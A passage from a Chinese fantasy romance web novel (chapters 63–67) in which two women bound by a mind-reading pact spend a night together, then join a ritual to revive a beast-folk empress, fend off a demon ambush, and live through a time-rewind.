如果不是对未来感到迷茫,恐惧时不时便复现纠缠的噩梦总有一天成为现实,她会更加享受与白镜玄的亲密时刻。 此话落下,握在夏清手掌中的貂尾节奏激烈地颤抖几下。 倏地挣脱束缚,反过来卷住夏清手腕。 夏清一个没注意,后脑勺又落回枕头上。 白镜玄伏在她身上,深深凝望着她的脸庞,眼神深不见底。 她一只手撑在夏清耳侧,另一只手在夏清胸前轻轻一拂,夏清衣襟处系好的绳结便自然脱落。 毛茸茸的尾巴探进夏清衣摆,而白镜玄曲起的膝盖也自然而然碰到夏清。 夏清预感到什么,胸中像藏了一头小鹿,跳得越来越快。 白镜玄倾身欲吻她的唇。 但夏清脑子一抽,伸手抵住她的肩膀。 白镜玄:“?” 伸手推拒是夏清因为紧张本能的动作,但她并不是真的想推开白镜玄。 可她推都推了,心里的想法就变成欲拒还迎的计谋,是不是又不够矜持?会不会太茶艺了? 白镜玄眼神中透出两分无奈,唇角却乐悠悠地扬起来:“平日里清儿的心声可远不如今日这般多。” 夏清:“……” 她也不想啊,她也觉得羞耻,可她情绪一上来就控制不住自己的脑子。 “那不然……”夏清脑子一转,试探着问,“要不你再下个禁制,把这功能关了?” 只要说服白镜玄切断元神互通心声的功能,她就不必总顾虑自己心里那么多上不得台面的碎碎念被白镜玄听了去笑话她。 “清儿就这般不愿与我互通心意?”白镜玄故意放软语调,说得委屈。 夏清心虚,但又觉得这话很不对劲,还好她脑子转得快,遂撇嘴:“你这是偷换概念!” “不管。”白镜玄居然耍起无赖,态度强硬且坚持,“我喜欢听。” 夏清不可置信:“真的不会影响兴致吗?” 白镜玄又一次俯身下来吻她,答曰:“不会。” 眼看两人的嘴唇就要紧密接触,却在相聚几毫米时,又一次分开。 “啊,还有一个问题。”夏清推拒白镜玄的肩膀,“这间木屋这么小,会不会被别人听到?” 白镜玄终于被夏清闹得不耐烦了。 她蛮横地拨开夏清胳臂,没回答便强硬吻住夏清的唇。 什么时候了,还尽在乎些有的没的。 夏清:“唔唔!” 唇齿相依,舌尖嬉戏。 不多时,她的身体在白镜玄用力的拥抱中化作一滩水。 所有的顾虑,迟疑,恐惧,都伴随渐渐沉坠的意识落入无边无际的深渊。 缥缈如仙的梦幻感取代了一切不想干的感受。 理智尚存的最后一秒,夏清心想:白镜玄怎么这么会啊? 这种事情,难道也分天赋的? 这一觉夏清睡得不是很沉。 好像时而清醒,时而又迷糊,梦境中刻印下了一些荒诞却香艳的画面。 终于,一夜过去,夏清意识苏醒过来。 眼皮很沉,睁不开。 浑身上下没有一块不酸不软的肉,尤其她的腰,都快断了。 一些朦胧暧昧的画面闪过脑海,夏清还没有睁开眼睛,但却清醒着沉默了。 昨天晚上……是不是太放荡了啊啊啊!! 虽然她在白镜玄眼里本身也没有什么形象,但还是觉得好羞耻。 夏清听见耳边传来细微动静,猜想白镜玄应该醒了,她干脆继续闭着眼睛装死。 不料,身旁却响起一声轻笑。 “傻清儿。”白镜玄话语声中夹带着温温柔柔的宠爱,伸手来碰了碰夏清的耳朵,“你可是又忘了我能听见你的心声?” 夏清:“……” 是哦。她太后知后觉,睡一觉起来就忘记了这个关键设定。 说不定白镜玄还是被她的心声吵醒的。 她费了些力气才睁开眼睛,木屋中的场景映入眼帘。 白镜玄躺在她身边,单手撑着侧脸,面上带着盈盈笑意欣赏夏清刚醒来迷迷糊糊的表情。 夏清视线浅浅扫过白镜玄头顶,那对可可爱爱的兽耳已然消失,尾巴也被藏起来。 果然,兽耳兽尾什么的,只是服务于情趣的产物。 白镜玄实力恢复,想藏就能藏,平常时候只怕是没什么机会能见到了。 虽然白镜玄本身已经足够赏心悦目,但夏清还是为消失的尾巴和耳朵感到一丁点儿的遗憾。 “你到底是喜欢尾巴,耳朵,还是我?”白镜玄唇边含着笑,再问出这个问题,已带了两分玩笑的意思,不似昨夜那般钻牛角尖。 因为她已经知道答案。 夏清撇撇嘴:“小孩子才做选择,成年人都要。” 白镜玄:“……” 明明缔结了契约互通了心声,应该足够了解夏清,夏清的回答还是让白镜玄意外。 愣怔须臾,她忍俊不禁地弯起眼睛。 随即,她忽然凑近,往夏清胸口上一趴,不由分说抓起夏清的手。 夏清吓了一跳,却因为浑身酸痛,连躲都躲不了。 “你,你要干嘛?!” 昨夜不知道白镜玄折腾她多久,估计是反反复复死去活来。 醒来她感觉腰子已经被掏空。 真的来不起了啊! 不料,白镜玄牵起夏清的手,将它放到自己脑袋上,随即夏清指尖便传来毛茸茸的触感。 耳朵还是敏感,被夏清手指轻轻一碰,便有一束电花蹿过脊柱,击中她的尾骨。 白镜玄肩膀微微一颤,需以极大定力才忍住没有失控。 在夏清不明所以的惊讶目光中,白镜玄长睫掀开,脸泛薄红缓缓吐出一口气。 “只要清儿喜欢,想什么时候摸都可以。” 第64章 第六十四章 夏清心口扑通一声, 心跳乱了节奏。 老天奶,怎么会有人长得漂亮,气质超绝, 顶着一双兽耳, 还这么会撩。 真是要了命了。 白镜玄对自己勾人的举动似乎毫无自知。 见夏清许久不应, 她眨眨眼又歪歪头, 这副撩了人又分外无辜的样子让夏清委实没脾气。 于是,她狠狠捏两下白镜玄的耳朵。 自制力强如白镜玄也立马破功, 唇边溢出一声轻哼,同时肩膀颤了颤,那双直视夏清的眼睛也因为羞涩和身体异样的感受情不自禁错开。 夏清心情好了, 越捏越上瘾。 她的手从耳朵转移到脸颊, 感受白镜玄细腻光滑的皮肤在指尖产生的温柔触感,不知不觉,就顺着脸颊来到唇边。 这是一双很会亲吻的唇。 许是因为昨夜纠缠得太过, 白镜玄薄薄的嘴唇平添了两分厚度,是激烈吮吻之后微微肿起来的样子。 昨晚颓靡放纵的画面不自觉从脑中闪过,夏清尴尬窘迫。 和白镜玄互通心声,意味着她脑子里任何一个念头, 都会被对方捕捉。 包括贪恋,窥伺和抵死不休的缠绵。 夏清心虚极了,清清嗓子松开手,可随即她的手腕又被白镜玄握住。 白镜玄稍稍支起身, 幽邃深沉的眼眸专注凝望着夏清。 夏清心尖一颤,竟从对方眼神中读到一种陌生的, 晦暗压抑的情感,与白镜玄自相识以来呈现在她面前的模样截然相反。 白镜玄朝前倾身, 似还想更近一步,忽然门外响起一声轻唤。 “祭司大人,夏仙师,圣女有请。” 来人是雀族兽人,她并到来门前叨扰,站在屋外平台上通传了圣女的指示之后,便退到来时分路的枝丫等候。 夏清猛地将手缩回来,做贼心虚地朝门口望一眼。 房门紧闭,没有任何异样,门外脚步声也缓缓退远,夏清长舒一口气。 不过转念她就发现自己的反应不合时宜,只怕又要伤害白镜玄那颗脆弱的玻璃心。 她扭头小心翼翼看向白镜玄,果然见白镜玄垂眸,神情看似平静,但眸光中即将溢出的委屈惆怅藏都没地儿藏。 不过,方才震慑夏清内心的那一抹情绪好像已经消失,不见踪迹了。 也可能是错觉吧。夏清心想。 对于夏清这部分心理活动,白镜玄没有回应。 夏清尴尬的同时,也有一点点愧疚。 白镜玄多么尊贵的身份,却为了讨她喜欢陪她玩角色扮演,她委实不该在这些细节的地方辜负白镜玄的期待。 “卿卿。”夏清小声唤她。 白镜玄闻声抬头,与平常一样平静的脸孔上并没有表露太多的情绪。 夏清主动握住她的手,试图解释:“我们现在在人家的地盘上,兽人女皇重伤未醒,圣城危机四伏,纵然你我感情和睦,也不好明面上秀来秀去给人添堵,私下里你想怎样我都陪你,如何?” 白镜玄纤长的眼睫颤了颤,一双幽瞳望进夏清眼底。 夏清这话出自真心,也不怕被白镜玄窥听她心中的想法以核对真假。 白镜玄抬眼,眼底鲸灰色的阴影散去,漾起一层浅浅的波光。 迎着夏清真挚的眼神,白镜玄问:“怎样都行?” 夏清:“?” 怎么回事,隐约有种不妙的预感。 但白镜玄心底没有溢出秘密,夏清辨不清她这句话是不是还有深意。 她只能硬着头皮点头答应:“怎样都行。” 白镜玄唇边又扬起细微弧度,眼里投射出轻盈愉快的浅笑:“那我们尽快解决了当下的事情,回仙界去。” 回到自己的地盘,方可爱怎样就怎样,为所欲为。 夏清认同:“好。” 圣女已着人来唤,不好让人等得太久。 夏清赶忙催着白镜玄起身,白镜玄一个翻身就落地换好衣裳。 反倒是夏清自己,因为浑身酸痛,身体撑起来一半差点摔回去,最终龇牙咧嘴地借着白镜玄搀扶才勉强下地。 修为差距太大的弊端此刻也显现出来,和白镜玄双修,夏清感觉自己从里到外都被抽空。 这和前两次白镜玄渡法力给她可不一样,为短暂的享受支付昂贵的体能代价,也不知道值不值得。 白镜玄见状,提议:“清儿不若就在屋内休息,我一个人去见圣女。” “那怎么行?!”夏清一着急要站起来,却因为双腿发软差点跌倒,好在白镜玄眼疾手快将她扶稳。 白镜玄欲言又止:“可是……” 夏清一只手扶着自己将断未断的老腰,一只手抬起来摆了摆,阻止白镜玄的话头:“就你一个人去而我在屋里休息,不是此地无银三百两嘛?” 白镜玄似还有话要说,夏清忽然话锋一转:“你是不是故意不想让我去?” “……”白镜玄沉默。 夏清捕捉到她那正正经经的面庞上一闪而过的心虚,以及几句狡辩的心声,冷笑道:“好哇,这还没怎么样呢你就想限制我,怎么,为了不让我去找别的草,你就干脆不要我和别人接触吗?” 白镜玄眼神躲闪,脑袋上一双毛茸茸的耳朵耷拉下来。 “你肯定有办法让我恢复体力。”夏清彻底把白镜玄看透了,拍拍膝盖使唤她,“快给我治疗一下。” 被夏清看穿了自己的小小心思,白镜玄难得窘迫,尴尬地清了清嗓子。 于是,她乖乖伸手,按住夏清肩膀。 一股柔和的法力灌入夏清身体,夏清感觉自己像一棵快**死的苗禾终于等来了春雨,濒临枯竭的五脏六腑四肢百骸全部开始恢复生机。 总算恢复了体力,夏清起身,跺了跺脚,还是活着好。 “若再被我抓到你坑我……”夏清朝白镜玄瞪眼,甩出强有力的威胁,“我就一个……不,两个时辰不理你!” 白镜玄:“……唔。” 料理好白镜玄,夏清走向门口,白镜玄安静地跟在身后。 圣女已在梧桐树顶的枝头等候多时。 女皇的伤势不见好转,夏清二人到时,圣女正在屋中踱步。 夏清和白镜玄踏入房门,便听圣女的声音悠悠飘来:“昨日我已将祭天仪式的消息散布出去,眼下城中暂时还没有明显的动静。” 虽然皇室宗亲和那些潜入圣城的不速之客没有给出明显的反馈,但通过朱雀神力感知圣城内外天地万物,圣女也知道,这条消息如海底即将爆发的火山,已经激起了澎湃的暗流。 她看向白镜玄:“祭司姐姐,除此之外,还需要我做些什么准备?开坛时间定在什么时候?” “越快越好。”白镜玄回答她,“不如……就在今日。” 夏清和圣女都吓了一跳。 圣女被这突如其来的决策惊得两眼圆睁,有点反应不过来。 夏清则扭头看向白镜玄,震惊之余,很快推敲出这个方案的合理性。 本来城中局势就是敌在暗我在明,拖延战局对我方绝对不利,开坛祭天的消息已经散布出去,若不抓紧时间,给了那些宗亲商议对策的机会,只怕会有更多变故。 就该趁着对方手忙脚乱之际主动出击,惟有如此才有可能打破僵局。 夏清越想越觉得合理,心中暗自思忖道:这么大的事情,白镜玄应该不会夹带私货吧? 白镜玄面色平静,视线略略倾斜,扫过夏清脸庞。 夹带私货? 夏清听见元神另一端传来的心声,但选择性耳聋,只当没听见。 圣女也是见过大风大浪的,经此一事后,性格愈发沉稳,很快便理清白镜玄如此决策的目的。 虽然此刻动手需冒极大的风险,但再往后拖延,确实也没有更合适的时机。 圣女不再瞻前顾后,果断拍板:“就按祭司姐姐所言。” 才休息一夜,立马就要忙碌起来,不过忙的主要是白镜玄和圣女,跟夏清没什么关系。 圣女要调遣圣坛兽侍在坛外布阵防守,白镜玄负责将打通圣城百姓通往祭坛的道路,而夏清则只需要守着兽人女皇,手中拿着白镜玄给的信物,若有任何意外变故,便通过这信物召白镜玄来相助。 屋子里安静下来,夏清给高烧不退的女皇换了条蘸凉水的毛巾贴到额头上。 不过分别短暂两个月,兽人女皇的处境竟与两个月前已成天壤之别。 先前那般尊贵骄傲,满身威仪的强势女人,如今形容憔悴地躺在简陋的木床上,因为高烧嘴唇干涸起皮,眼底一圈再厚的粉底都压不下的淤青,脸色白得不像活人。 夏清满心唏嘘。 看吧,当皇帝也没什么好。 站在权力的顶端,注定众叛亲离,遭遇各种各样的背刺。 她一心想守护的百姓也没给到她信任和支持,最终反过来护着她的,还是她当初一意孤行,冒险放走的小朱雀。 世间事总是如此。 夏清不由得联想到白镜玄。 紫霄峰上的情形,与这蛮荒似乎也别无二致。 白镜玄闭关短短十年,魔族卧底已经四处暗伏,夏清心头始终有股萦绕不散的忧虑。 这时,床上似有些许动静。 夏清扭头看去,见兽人女皇昏迷中神色困苦,像做了什么噩梦。 她偏了偏头,额前的毛巾滑落下来,被子也稍稍松开。 “嗐。” 夏清迅速伸手接住毛巾,无奈叹了口气。 她掐诀施展了一个安神咒,女皇紧锁的眉头缓缓松开。 夏清于是重新拧了一帕,叠好了放到女皇额头上,再顺手替女皇掖好被角,以免被子缝隙间漏进凉风。 正待起身时,忽见女皇嘴唇动了动。 夏清耳朵里钻进两个字。 “祭司……” 第65章 第六十五章 哦豁? 夏清眉梢一扬。 女皇都烧成这样了, 神志不清的状况下,嘴里唤着祭司。 这说明什么? 夏清怀着莫名的心情唇边勾起一抹冷笑。 还说什么担心她去外面找别的草,到底谁外边儿草比较多? 前面南城领主那一账还未了, 现在又有了新的暧昧对象, 真是好样的, 白镜玄。 夏清耐心检查了女皇额前的毛巾, 一切无恙,便坐回椅子里, 合上双眼闭目养神。 元神互通心声的功能似乎有距离限制。 比如这会儿白镜玄出去干活,伴侣契约就好像失去信号,听不见白镜玄的心声, 她自己的心声也没有发送出去。 听不见也好, 不然此刻夏清难保不会炸,顺道还能趁机在心里把白镜玄狠狠数落一阵。 若白镜玄在她身边,她可不敢如此“大逆不道”。 开坛时间定在今日午时, 夏清虽然没有跟着出去了解局势变化,但圣女留在梧桐树的雀族兽人每隔一个时辰会来检查女皇的状态,并向夏清汇报祭天仪式的准备进程。 “再有半个时辰就要开坛了。”雀族兽人规规矩矩向夏清行礼,“圣女和祭司回来了。” 夏清倏地睁开双眼。 白镜玄回来了? 这边雀族兽人刚刚传了消息, 那边白镜玄和圣女便先后踏入房间。 圣女为夏清照顾女皇道谢,夏清摆摆手:“举手之劳,还是你们的任务比较辛苦。” 白镜玄来到夏清身侧:“清……” 话才刚开了个头,夏清忽然瞥她一眼, 然后脑袋一扭,不理她。 元神另一端传来一声冷哼。 白镜玄:“?” 开坛在即, 圣女极其手下的人忙作一团,夏清也主动去帮忙, 将白镜玄撂在一边。 白镜玄尝试用元神传声,询问夏清发生什么事了。 但石沉大海,没有回音。 于是,出现了一个令圣女和兽侍们侧目的古怪现象。 夏清走到哪里,白镜玄就跟到哪里,但两个人谁也没有说话。 圣女招呼夏清:“夏仙师,请你帮我……” 话没说完,白镜玄已赶到现场:“何事,交给我吧。” 不过一件小事,谁做都可以。 圣女正准备开口,夏清忽然出声,怼白镜玄:“你一边儿去。” 白镜玄已经迈出的脚步竟然本能地往后缩了缩。 圣女:“?” 夏清领了任务去忙活,她前脚刚走,白镜玄就要跟去,但被圣女出声叫住。 “祭司姐姐。” 白镜玄停下脚步,回头看向圣女。 看似淡漠平静的眼神中透出两分不耐烦的疑惑,示意她有话快说。 圣女默,改口:“没什么。” 她话音刚落,白镜玄已不见影踪。 圣女歪了歪头,若有所思,再看看榻上昏迷不醒的兽人女皇,心中已明白了什么。 琳琅姐姐的愿望,果然无法实现了。 别说个人的心愿难以实现,兽人族能不能度过这场劫难还是未知数。 要不……还是退而求其次次次,若局势当真无法挽回,她也做好最坏的打算。 带琳琅姐姐远走高飞。 白镜玄追上夏清,从身后握住夏清的手,将她拽住。 “清儿,你为何不理我?” 元神传声夏清可以当作没有听见,但面对白镜玄当面质问,夏清不好再装耳聋。 夏清眼神飞快扫过左右,此处四下无人,原本看守梧桐树的兽侍都被调去圣坛上参与防卫布阵。 难怪白镜玄会忍不住跑过来。 “这不忙着嘛。”夏清兴致缺缺地回答,末了还倒打一耙,“马上就要开坛,你不去帮着圣女看护女皇,围着我做什么?” “我……” 白镜玄话到一半被夏清打断:“不是跟你说了在外边儿收敛一点?” “……”白镜玄抿唇沉默。 她脸上表情没有太明显的变化,但眼神却倏地暗了。 夏清见她如此,居然心尖颤了颤,很不忍心。 她一边暗骂自己没救了,一边瞧着白镜玄鼻子不是鼻子,眼睛不是眼睛。 实在看不下去白镜玄摆出那一副苦相,夏清驱散一点点怨念,暂且退一步:“甭管什么事情,等祭天仪式结束之后再说。” 白镜玄问她:“祭天仪式结束之前,清儿都不愿理我吗?” “……”夏清撇撇嘴,“可以正常交流。” 说完,她把手里的活儿交给白镜玄:“看你闲的,做点事情。” 被夏清如此无理取闹地对待,白镜玄却喜上眉梢,乖乖去做事。 夏清意外,心想:难不成白镜玄是个抖M? 这念头只是一闪而过,夏清脑海中倏然蹿出白镜玄的声音:那清儿愿意做我的S吗? 夏清:“!!!” 她扶墙面壁,脸色爆红。 天啊,谁来管管这个变态。 夏清开始后悔昨天晚上给白镜玄做了太多“科普”。 白镜玄不知道什么叫SM,但她知道抖S和抖M通常都是CP。 至于CP,夏清给她的解释是,伴侣。 不知道继续交流下去白镜玄还会爆出什么金句,夏清赶紧溜了。 祭天仪式即将开启,夏清跟随圣女和白镜玄回到圣坛上。 坛下人声鼎沸,数以千计的百姓将祭坛包围。 夏清不得不佩服圣女和祭司在兽人族的号召力。 那些皇族宗亲在得到消息之后,肯定会想方设法拦截百姓,不让群众参与她们这次祭天仪式。 但圣女发出通告,白镜玄在前开路,竟在短短两个时辰之内,召集来如此多的百姓。 这么看来,圣宫那些兽臣所担忧的事情的确不是没有端倪。 兽人族如果没有圣女和祭司,的确有可能分崩离析。 圣女安抚了群众的情绪,祭天大典顺利开始。 重伤的女皇被圣女抱了出来,安置在圣坛中间,周围画满了繁复的法阵纹样。 祭司负责主持这次大典,夏清作为人类仙修从旁辅助。 一群雀族兽人围绕圣坛跳起兽人族祭祀的舞蹈,外围兽侍人手拿着一只号角,伴随舞蹈的节奏吹响号角。 白镜玄向天空中抛洒梧桐树根的汁液,这些汁液蕴藏着强有力的生机,宛如灵雨仙露,坛下兽人百姓淋到梧桐汁水,霎时精神一震,感受到一阵扑鼻的清香。 圣女用通灵之力,将自己的声音传到圣城内外每一寸土地。 “我们祈求神明,看上苍是否眷顾我们的女皇。” 祭天仪式,正式开始。 夏清掀了掀眼皮,眼神中闪过一抹精光。 人群中有鬼鬼祟祟的动静。 不知是不是和白镜玄缔结契约,元神相通的缘故,夏清感觉自己的灵识较之以往似乎强大许多。 就比如,此刻人群中的动向,她竟然只凭依双耳和扩散的灵觉,便能发现。 她侧眸看向白镜玄,对方面色毫无波澜,看起来仿佛没有觉察。 但在夏清视线挪转的瞬间,心里便响起白镜玄的声音:不必忧心。 不得不说,白镜玄的确可靠,只要在白镜玄身边,她就会感到心安。 如果没有那个随时可能爆发的炸弹。 白镜玄脸上戴一张青铜兽首面具,绕着兽人女皇踱步,同时将梧桐树根汁液洒向女皇。 坛下兽人百姓议论纷纷,感觉这树汁除了清香醒神之外,应当没有神力,如何能救得醒兽人女皇? 不仅坛下百姓存疑,就连守在祭坛四周的兽侍们面色也十分沮丧。 在他们看来,圣女主张祭天是真的已经无路可走。 如果天神不显灵,兽人族皇权颠覆,他们就要为女皇殉葬。 雀族兽人的舞步和不时吹响的号角声,让坛上气氛诡异而压抑。 但是,随着越来越多树汁抛洒下来,女皇枯瘦的脸孔竟开始恢复气色,一开始很缓慢,但不多时,其恢复的速度就肉眼可见。 有目力出众的兽人远远看见这一幕,大声喊道:“陛下气色恢复了!” 坛下百姓哗然。 雀族兽人和看守祭坛的兽侍们也同时精神一震。 那树汁竟然真的有效!不对,不是树汁有效,他们也都感受过树汁的力量,除了天神眷顾,施神力救死扶伤,再没有别的解释了。 白镜玄将最后一滴树汁滴入女皇唇缝,女皇眼皮颤了颤,竟当真苏醒过来。 “天神眷顾!”圣女一声惊叹,法力包裹着她的声音将这喜讯传递开去,“圣辉琳琅,是天命所归的兽人女皇!” 台下百姓面面相觑,被这一幕震撼得失了言语。 便在这时,夏清牵头下拜,高呼:“天神眷顾,天命所归!” 祭坛上,雀族兽人和守坛兽侍跟着下跪,齐声喊道:“天神眷顾,天命所归!” 气氛蔓延开去,人群中,不知谁先有动作,夏清灵识感应中,这些兽人一个接一个跪下去。 “天神眷顾,天命所归!女皇万岁!”* 第66章 第六十六章 女皇万岁的声音远远传开, 从旁观者的视角来看,还是有些震撼。 圣女扶着女皇起身,刚醒来的兽人女皇显然还没明白眼下是什么状况, 她的记忆还停留在兽人大典那一天。 她虽然醒了, 但头还很痛, 抬眸间, 视线刹那就被圣坛前长身玉立那道人影吸引。 是祭司。 祭司已回来了? 坛下,兽人百姓跪了一地, 女皇却愣愣望着祭司。 圣女贴着女皇耳朵小声说了几句什么,女皇这才回神,板起一张威严的脸孔, 掩藏眼底的茫然, 依照圣女的意思摆摆手,示意坛下众人不必再跪。 夏清带头谢过女皇大恩,正待起身之际, 灵识忽然捕捉到一股强烈的杀意。 她猛地转身,便见人群中暴起几道细长的人影,从四面八方冲向祭坛,直取坛上女皇和圣女。 锐利刀锋咄咄逼人, 夏清面色猛地一沉。 甭管天命不天命,只要死了,自然没有力量再争权。 这些兽人皇室宗亲,还真是胆大包天!到了这种时候, 竟然还敢出手! 其中一道黑影直直冲向夏清,夏清反应迅速, 立即侧身闪躲。 刀锋擦着夏清的脸颊过去,她反手掏出福生鼎, 照着那与她错身而过的黑影用力抡过去。 当一声闷响,黑影被大鼎砸得塌陷进地里。 另一边,白镜玄和圣女也各自将冲到近前的黑影击退,坛下兽人百姓这才反应过来,阵阵哗然喧嚣在人群中此起彼伏。 几道黑影转瞬就被肃清,夏清手中抓着福生鼎,低头朝身前那黑影看去。 只见那黑影浑身缭绕着朦胧雾气,在阳光炙烤下,它的身体表面果冻似的迅速熔化。 再抬头,所有黑影都在消融。 这些黑影不是真身! 意识到这个问题的瞬间,夏清心头猛地一咯噔。 随即便有一股阴寒气息蹿上她的背脊,福生鼎脱手飞走,哐啷一声砸在地上。 一条胳臂勒住夏清的脖子,巨力拉扯着她往后飞退,在场所有兽人同时被突如其来的动静吸引,当圣女和女皇看清夏清身后偷袭魔物之时,璀璨的紫霄剑诀已拉开一面剑幕,飞快追上去。 众目睽睽之下,剑光朝魔物飞攒而去。 夏清被身后那魔人拎在手中,举着直面滔天剑芒。 这些剑光气势汹汹而来,抵达夏清面前时,却纷纷停顿下来。 夏清眼睛睁开一条缝,漫天炫丽的剑光以她为第一视角的画面出现还是第一次见。 这些剑停下来了,白镜玄犹豫了。 也是这一刹那,身后魔人哈哈大笑,从笑声听来,竟是个女人的声音。 夏清耳朵一阵刺痛,感觉耳膜可能已经被笑声震破。 此魔气息她未曾见过,但那随着背脊直往上蹿的寒意却让她的身体不自觉颤抖。 恐惧源自本能,刻印在灵魂深处,这让夏清恍惚间想起曾经做过的一个梦。 在那梦境中,朦胧黑雾里也传出一个女人的声音,跟此刻狂笑之声重叠,令夏清不寒而栗。 “白镜玄。”女人攥着夏清的脖子,让她挡在茫茫剑芒之前,直面白镜玄紫霄剑诀绽放出来的锐利剑光,“你为什么不动手?” 若换了以前,白镜玄早该召万剑将她穿透,何在乎她身前挡剑者是何人? 白镜玄周身气息霜寒,眼底更是蕴着浓浓盛怒之意:“放开她!” 夏清身后,这魔人仿佛听说了一个天大的笑话,哈哈笑开:“镜玄仙尊原来也会说出这么幼稚的话来,若你是我,你会放手吗?” 一整队兽侍在圣女的命令下环绕过来,但却只敢围聚在白镜玄身后,没有谁敢当出头鸟。 白镜玄气怒不已,但犹自尚存几分理智,质问那魔人:“你待如何?” “我想要什么,你不是一早就知道吗?”魔人笑得花枝乱颤,“我要你此生最珍爱之物,你若图名,我便让你身败名裂,你若贪权,我便要你众叛亲离,你若……” 她唇边勾起凉薄而残忍的冷笑:“你若动了情,我便要你所爱万虫噬心,我要你生生世世不得安宁!” 白镜玄预感到什么,清寒冷冽的眉眼闪过一刹狰狞:“你休想!” 说罢,她便要强行动手。 便在此时,她左手尾指倏地炸开一蓬血雾。 玉质化血肉以肉眼可见的速度飞快蔓延,幻妖竟在这个节骨眼上趁机反噬。 白镜玄脸色骤变,右手摁住左手手腕,强行驱动法力抑制幻妖。 玉质血肉与她的肉身相接缝隙间渗出银色金属液体,那些液体如藤蔓般缠绕白镜玄的胳臂,眨眼间就要蹿上白镜玄的肩膀。 倏然,一蓬朱雀之火飞来,落到银色液体上,将其灼烧汽化,暂时解救了白镜玄。 白镜玄无暇向圣女道谢,便见那些汽化的银色液体在空中缓缓汇聚,最终又凝结为它原本的样子。 一颗拳头大小,黑底红瞳的眼珠子。 眼珠子剧烈颤抖,内里发出狂喜的叫嚣:“哈哈哈哈哈哈,我出来了!我从荒古遗迹中出来了!” 虽然它的真身大部分留在白镜玄手臂中化作封印,已十不存一,但那有什么关系? 留得青山在不怕没柴烧,何况,眼下不就有一个合适的肉身么? 那黑色眼珠子转了转,看向夏清。 夏清顿时不寒而栗。 哪怕实力大减,夺舍夏清也还是小菜一碟。 夏清被这掉san玩意儿吓得浑身发抖,今天这个局面很难全身而退,难道她的剧本这么快就到头了? 都还没到白镜玄恢复记忆,而她叛出仙界的剧情,到底是哪里出了bug? 回想起此前种种,夏清脑海中忽然灵光一闪,难道是因为她没有遵循剧本任务,没有和魔族打好关系,反而亲近白镜玄,引起蝴蝶效应的缘故? 啊,那真是太惨了,没想到她这么快就打出了一个BE。 黑色眼珠炮弹似的调头冲向夏清,白镜玄眼瞳一缩,周身寒意爆发,连带空气都下降好几个度。 她暂且还奈何不了夏清身后的魔人,又岂会让这只幻妖踩在头上撒野。 剑气略空而过,在空中擦出一道残影。 黑色眼珠预感危机当面,提前谋划绕转方位,故意拖了刹那试图躲避剑气。 然而下一瞬,剑气精准刺中它的眼球。 那眼珠子在距离夏清几寸远的地方啪一声爆开,剑气中蕴藏的紫霄真气乃天地至阳之力,威能几如太阳表面的烈火,一刹那便将这贪得无厌的幻妖诛杀。 一蓬黑血泼到夏清脸上。 恍惚间,周围场景如水波般荡漾起来,许久未曾经历的剧情复现又一次出现在夏清眼前。 在这一次的剧情画面中,她看见白镜玄在一片白玉雕筑的宫殿中,一剑刺穿一个女人的心口。 那女人缓缓倒下,其面容渐渐展露于夏清眼前。 竟是一张,与夏清一模一样的脸庞。 她被白镜玄抽去仙筋,剃去仙骨,自斩仙台击落,坠入万丈深渊。 那样的白镜玄,虽姿态清寒,缥缈如仙,但其行径,却如恶面罗刹。 意识恍惚间,夏清心口猛地揪痛,满心茫然。 这是什么?是对过去旧事的投射,还是对未来苦难的预言? 夏清无法分辨。 待这水中月镜中花一样的幻象被风吹散,化作一缕尘烟。 夏清视线重新恢复清晰,白镜玄不知何时已出现在她眼前,且变了一副模样。 和剧情中呈现给夏清的面貌不同,狂风吹散白镜玄两鬓整齐的发丝,将她幽深的眼底掩藏的情绪寸寸剥开,最终袒露在夏清面前的是,是哀戚无奈,纠结痛苦的表情。 夏清心里,响起白镜玄的声音。 清儿,对不起。 下一秒,白镜玄手中的剑,刺进夏清的身体。 这场变故对夏清而言,太突然了,突然到,她还没理清状况就要死了。 胸前的伤口灌入一阵冷风,夏清清晰地感觉到自己的身体和灵魂都在白镜玄这一剑之下,被捅出一个窟窿。 嗡—— 耳边响起清脆剑鸣,夏清陡然睁眼。 意识回笼,手心里传来沉甸甸的重量。 一只青铜大鼎映入眼帘,而她站在圣坛边缘,身前黑色魔族幻体正如果冻般缓缓熔化。 夏清:“!” 她的心脏陡然漏跳一拍。 下一瞬,白镜玄出现在她身侧,她下意识要躲,却被白镜玄一把攥住手腕。 青铜大鼎轰然落地,随即,夏清便被不可抗的力量拉扯,狠狠撞入白镜玄怀中。 刹那间,鲜血飞溅。 浓郁的血腥气味混着紫檀花香蛮横冲撞夏清的鼻腔,魔人的利爪在白镜玄肩后撕开一道血淋淋的伤口。 白镜玄牢牢抱着夏清,眼底杀意喷涌。 万千剑气汇聚成一条长河,快得来不及闪躲,映入那魔人分。身震惊愕然的双眼中。 电光石火,魔人黑影被剑光撕碎,剧烈震动的能量余波炮仗似的轰轰炸响,偷袭夏清的那魔人还没来得及有所作为,就被白镜玄全力一击斩作灰飞。 变故实在突然,包括圣女和女皇在内,所有人愕然望着这一幕。 方才骤然爆发的能量波动强得可怕,也将祭坛内外所有兽人全部震得昏迷过去。 兽侍倒了一地,白镜玄五指曲起,将夏清牢牢圈在怀里,搂着她踉跄着后退几步。 她脸色发白,神情漠然,眼底却暗藏惊恐,余悸未退。 圣坛内外安静下来,风波好似已经平息,只有夏清耳中,雷鸣般的心跳犹自震耳欲聋。 那只环于她腰间的手臂不住发抖,却用力勒到她感觉疼痛。 白镜玄,在后怕。 第67章 第六十七章 夏清想起先前路过神秘村庄时, 连着刷了三次存档的经历。 果然如她所料,时间之所以回溯,是因为白镜玄。 结合前后发生的事情不难推测, 白镜玄施展时间回溯这一逆天法门的前提条件, 是她身死。 且不说这个前提条件是多么荒谬, 而白镜玄也当真能下得去手。 为了救她, 所以杀死她。 什么抽象逻辑。 白镜玄怀中,夏清冷冷垂眸。 还处在应激状态的某位仙尊抱得太紧, 夏清一动不能动。 但她也不着急,今日之事,已然有了结果。 方才突然出现在她眼前的剧情究竟是过去的幻影, 还是未来的预言, 已经不重要了。 不知过了多久,白镜玄紧绷的身体终于稍稍放松。 圈在夏清腰际的胳臂也不再用力,她低头看向怀中沉默的人, 心有余悸:“清儿……” “嗯,我没事。”夏清心如止水,脑海中没有一丝一毫杂念,抬眸看向白镜玄时, 自然而然换上一副关心的语气,“你受伤了?” 她刚才闻到浓烈的血腥气,她自己没有受伤,那么受伤的只能是代她挡下魔人一击的白镜玄。 “一点小伤, 无足挂齿。”白镜玄面色发白。 刚说完这句话,她忽地薄唇一抿, 喉咙动了动,似有一个吞咽的动作。 